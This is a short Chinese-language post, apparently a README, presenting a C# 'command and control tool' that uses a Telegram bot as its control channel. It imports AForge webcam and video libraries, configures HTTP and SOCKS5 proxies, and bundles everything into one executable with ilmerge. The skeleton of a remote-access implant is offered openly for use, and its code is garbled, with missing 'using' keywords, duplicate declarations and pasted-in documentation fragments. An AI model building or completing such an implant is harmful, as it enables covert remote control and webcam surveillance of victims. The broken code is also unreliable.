用C#编写的命令与控制工具
作者:Leiothrix
Telegram:@Leiothrix
Twitter:@wh4am1
团队:QQ愛&Love


using System.IO;
using Telegram.Bot;
using Telegram.Bot.Args;
using Telegram.Bot.Types.InputFiles;
using AForge.Video;
using AForge.Controls;
using AForge.Video.DirectShow;
System.Drawing;
System.Windows.Forms;
static void Main(){
botClient = new TelegramBotClient("token"); //你的Token
botClient.OnMessage += Bot_OnMessage;
botClient.StartReceiving();
Thread.Sleep(int.MaxValue);
}

// using System.Net;
var httpProxy = new WebProxy("https://example.org", 8080)
{
Credentials = new NetworkCredential("USERNMAE", "PASSWORD")
};
var botClient = new TelegramBotClient("YOUR_API_TOKEN", httpProxy);
// using MihaZupan;
var proxy = new HttpToSocks5Proxy(Socks5ServerAddress, Socks5ServerPort);
// 或者如果代理服务器需要凭据:
var proxy = new HttpToSocks5Proxy(
Socks5ServerAddress, Socks5ServerPort, "USERNAME", "PASSWORD"
);
// 允许你使用那些只允许连接到Telegram的代理
// 某些代理需要此设置
proxy.ResolveHostnamesLocally = true;
var botClient = new TelegramBotClient("YOUR_API_TOKEN", proxy);
ilmerge.exe /target:exe /out:TGbot.exe ConsoleApp1.exe AForge.Controls.dll AForge.dll AForge.Imaging.dll AForge.Math.dll AForge.Video.DirectShow.dll AForge.Video.dll Newtonsoft.Json.dll Telegram.Bot.dll /targetplatform:v4
最后,在out参数指定的目录下生成输出
还在完善!还在完善!还在完善!